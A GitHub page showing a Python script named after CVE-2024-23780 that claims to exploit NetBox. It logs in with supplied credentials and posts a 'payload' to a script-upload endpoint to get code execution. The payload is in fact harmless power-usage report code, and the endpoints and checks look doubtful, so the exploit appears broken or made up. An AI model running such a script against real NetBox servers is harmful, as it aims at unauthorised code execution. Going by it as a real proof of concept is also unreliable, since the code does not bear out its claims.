-
Notifications
You must be signed in to change notification settings - Fork 1
/
CVE-2024-23780.py
150 lines (133 loc) · 5.51 KB
/
CVE-2024-23780.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import requests
import argparse
def exploit_netbox(url, username, password):
# Payload to send to execute arbitrary code
payload = {
"name": "cve-2024-23780",
"slug": "cve-2024-23780",
"description": "Exploit for CVE-2024-23780",
"content": """
import csv
import io
from dcim.choices import PowerPortTypeChoices
from dcim.models import Site, Device, PowerPort, PowerOutlet, PowerFeed, PowerPanel
from extras.scripts import Script, StringVar, ObjectVar, ChoiceVar
DC_TYPES = [PowerPortTypeChoices.TYPE_DC]
class PowerUsageAllSites(Script):
class Meta:
name = "Power Usage (all sites)"
description = "Report on allocated power per site"
scheduling_enabled = False
commit_default = False
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(['Site','Allocated Draw'])
for site in Site.objects.filter(status='active'):
power_ports = PowerPort.objects.filter(device__site=site, device__status='active')
site_draw = sum(((pp.allocated_draw or 0) for pp in power_ports))
if site_draw > 0:
writer.writerow([site.name, site_draw])
return output.getvalue()
class PowerUsageSingleSite(Script):
class Meta:
name = "Power Usage (single site)"
description = "Report on allocated power for each device in a site"
scheduling_enabled = False
commit_default = False
site = ObjectVar(
model=Site,
query_params={
'status': 'active',
},
label="Site",
)
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
site = data['site']
power_ports = PowerPort.objects.filter(device__site=site, device__status='active')
writer.writerow(['Device','Port','Allocated Draw'])
site_draw = 0
for pp in power_ports:
if not pp.allocated_draw:
continue
writer.writerow([pp.device.name, pp.name, pp.allocated_draw])
site_draw += pp.allocated_draw
self.log_success(f"Total allocated draw for {site}: {site_draw}W")
return output.getvalue()
class PowerOutletsAllSites(Script):
class Meta:
name = "Power Outlets (all sites)"
description = "Report on total/free power outlets per site"
scheduling_enabled = False
commit_default = False
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(['Site','AC total','AC free','DC total','DC free'])
for site in Site.objects.filter(status='active'):
ac_total = ac_free = dc_total = dc_free = 0
power_ports = PowerOutlet.objects.filter(device__site=site, device__status='active')
for pp in power_ports:
if pp.type in DC_TYPES:
dc_total += 1
dc_free += (0 if pp.mark_connected or pp.cable else 1)
else:
ac_total += 1
ac_free += (0 if pp.mark_connected or pp.cable else 1)
if dc_total > 0 or ac_total > 0:
writer.writerow([site.name, ac_total, ac_free, dc_total, dc_free])
return output.getvalue()
class PowerOutletsSingleSite(Script):
class Meta:
name = "Power Outlets (single site)"
description = "Report on power outlets for each PDU in a site"
scheduling_enabled = False
commit_default = False
site = ObjectVar(
model=Site,
query_params={
'status': 'active',
},
label="Site",
)
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
site = data['site']
devices = Device.objects.filter(site=site, status='active')
writer.writerow(['Device','Outlet Type','Total','Free'])
for device in devices:
count_by_type = {} # type => [total, free]
for pp in device.poweroutlets.all():
c = count_by_type.setdefault(pp.type, [0,0])
c[0] += 1
if not (pp.mark_connected or pp.cable):
c[1] += 1
for type, vals in count_by_type.items():
writer.writerow([device.name, type, vals[0], vals[1]])
return output.getvalue()
"""
}
# Authenticate with Netbox
session = requests.Session()
session.post(f"{url}/login/", data={"username": username, "password": password})
# Find Netbox instance with title="Netbox"
instance = session.get(f"{url}/api/extras/text/?title=Netbox").json()
if instance:
# Send payload to /extras/scripts/add/ endpoint
response = session.post(f"{url}/extras/scripts/add/", json=payload)
if response.status_code == 201:
print("Payload sent successfully! Check for execution.")
else:
print(f"Failed to send payload: {response.status_code} - {response.text}")
else:
print("Netbox instance with title='Netbox' not found.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-23780 Exploit for Netbox")
parser.add_argument("--url", required=True, help="URL of the Netbox instance")
parser.add_argument("--username", required=True, help="Username for authentication")
parser.add_argument("--password", required=True, help="Password for authentication")
args = parser.parse_args()
exploit_netbox(args.url, args.username, args.password)